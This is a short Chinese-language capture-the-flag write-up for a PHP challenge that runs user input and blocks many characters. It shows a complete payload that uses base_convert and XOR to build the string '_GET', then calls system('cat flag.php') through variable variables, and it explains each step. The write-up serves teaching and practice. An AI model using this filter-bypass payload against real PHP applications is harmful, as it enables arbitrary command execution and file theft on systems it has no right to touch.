这个题目简单看一下就知道要传参进行执行系统命令以达到找到flag的目的。
但是又可以发现过滤了很多东西。
这个题的绕过方法可以用到三个函数
base_convert(number,froombase,tobase)//分别为原始值,原来进制,要转换的进制
dechex("十进制数")//将十进制数转换成十六进制
hex2bin("十六进制数")//将十六进制数转换成ASCII字符
接着便是构造payload了
?0=system&1=cat%20flag.php&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})
下面解释一下这个payload
$pi=base_convert;
$p=$pi(53179,10,36);//1517
$i=$pi(1109136,10,36);//nrtc
echo $p.PHP_EOL;
echo $i.PHP_EOL;
echo $p^$i;//_GET
//所以?0=system&1=cat%20flag.php&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})
等价于
$pi=_GET;
0=system;
1=cat flag.php;
$_GET{0}($_GET{1}) //system(cat flag.php)